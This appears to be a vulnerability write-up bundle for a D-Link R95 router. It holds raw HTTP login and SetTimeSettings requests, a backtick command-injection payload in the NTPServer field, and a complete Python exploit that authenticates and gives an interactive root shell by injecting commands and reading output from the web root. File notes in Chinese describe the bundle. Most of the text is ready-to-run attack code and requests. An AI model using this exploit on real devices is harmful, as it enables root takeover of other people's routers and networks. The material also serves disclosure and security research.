uci set %s="%s" > /dev/null

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close

uid=0(root) gid=0(root)

<NTPServer>`sleep 10`</NTPServer>

#!/usr/bin/env python3
# D-Link R95 (FW 1.01B06) SetTimeSettings/NTPServer authenticated command injection - PoC/EXP
# Usage: python r95_exp.py            interactive shell (commands run as root on the device)
#        python r95_exp.py "id"       run a single command
import sys, re, json, hmac, base64, hashlib, time
import urllib3
urllib3.disable_warnings()
import requests

HOST, PORT = "192.168.2.15", 18443             # lab target; use <device-ip>:443 for a real device
USER, PASSWORD = "Admin", "<password>"
BASE = "https://%s:%d" % (HOST, PORT)
TS = "1787052323000"                            # timestamp freshness is not validated by the device
OUT = "/www/e"                                  # command output dropped into the web root

s = requests.Session(); s.verify = False
privkey = cookie = None

def auth(key, action):
    return hmac.new(key.encode(), (TS + action).encode(), hashlib.sha256).hexdigest().upper() + " " + TS

def post(action, inner, key=None, ck=None):
    body = ('<?xml version="1.0" encoding="utf-8"?>'
            '<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
            'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
            'xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>'
            '<%s>%s</%s></soap:Body></soap:Envelope>' % (action, inner, action))
    h = {"API-ACTION": action, "API-AUTH": auth(key or privkey, action),
         "Content-Type": "text/xml; charset=utf-8", "User-Agent": "Mozilla/5.0",
         "Referer": BASE + "/info/Login.html"}
    if ck or cookie: h["Cookie"] = "uid=" + (ck or cookie)
    return s.post(BASE + "/DHMAPI/", data=body.encode(), headers=h, timeout=30)

def login():
    global privkey, cookie
    r = post("Login", "<Action>request</Action><Username>%s</Username>"
             "<LoginPassword></LoginPassword><Captcha></Captcha>" % USER, key="withoutloginkey")
    g = lambda t: (re.search("<%s>(.*?)</%s>" % (t, t), r.text) or [None, ""])[1]
    challenge, cookie, pubkey, salthash = g("Challenge"), g("Cookie"), g("PublicKey"), g("SaltHash")
    if not challenge:
        print("[!] login step 1 failed:", r.status_code, r.text[:200]); sys.exit(1)
    e = PASSWORD
    if salthash:
        e = base64.b64encode(hashlib.pbkdf2_hmac("sha256", PASSWORD.encode(),
                             salthash.encode(), 5000, dklen=32)).decode()
    privkey = hmac.new((pubkey + e).encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
    lp = hmac.new(privkey.encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
    r2 = post("Login", "<Action>login</Action><Username>%s</Username>"
              "<LoginPassword>%s</LoginPassword><Captcha></Captcha>" % (USER, lp))
    if "success" not in r2.text.lower():
        print("[!] login failed:", r2.text[:200]); sys.exit(1)
    print("[+] login OK, cookie=%s" % cookie)

def inject(cmd):
    """Execute one shell command via the NTPServer backtick injection (no output channel)"""
    if "&" in cmd:
        print("[!] command must not contain '&'"); return False
    r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
    if r.status_code == 401:
        print("[*] session expired, re-authenticating..."); login()
        r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
    return r.status_code == 200

def run(cmd):
    """Run a command and read back stdout. <=54 bytes: direct injection; longer: chunked base64"""
    cmd = cmd.strip()
    if not cmd: return
    direct = "%s>%s" % (cmd, OUT)
    if len(direct) <= 54:
        ok = inject(direct)
    else:
        b64 = base64.b64encode(cmd.encode()).decode()
        inject("rm -f /tmp/x")
        for i in range(0, len(b64), 40):
            if not inject("echo -n %s>>/tmp/x" % b64[i:i+40]):
                print("[!] fragment injection failed"); return
        inject("base64 -d /tmp/x>/tmp/x.sh")
        ok = inject("sh /tmp/x.sh>%s" % OUT)
    if not ok:
        print("[!] injection request failed"); return
    time.sleep(1)
    r = s.get(BASE + "/e", headers={"User-Agent": "Mozilla/5.0",
              "Referer": BASE + "/info/Login.html"}, timeout=15)
    out = r.text.rstrip("\n")
    print(out if out else "(no output)")

if __name__ == "__main__":
    login()
    if len(sys.argv) > 1:
        run(" ".join(sys.argv[1:])); sys.exit(0)
    print("[*] interactive mode - commands run as root on the device, 'exit' to quit")
    while True:
        try: c = input("r95# ")
        except (EOFError, KeyboardInterrupt): break
        if c.strip() in ("exit", "quit"): break
        run(c)

D-Link R95 BE9500.md   —— 上游完整技术分析(含 4 步复现、认证机制、EXP 源码、加固建议)
r95_exp.py             —— 从上游报告中提取的完整 Python EXP(requests 实现)
image-*.png            —— 上游报告附图(5 张)

python r95_exp.py            # 交互式 root shell(命令在设备上以 root 执行)
python r95_exp.py "id"       # 执行单条命令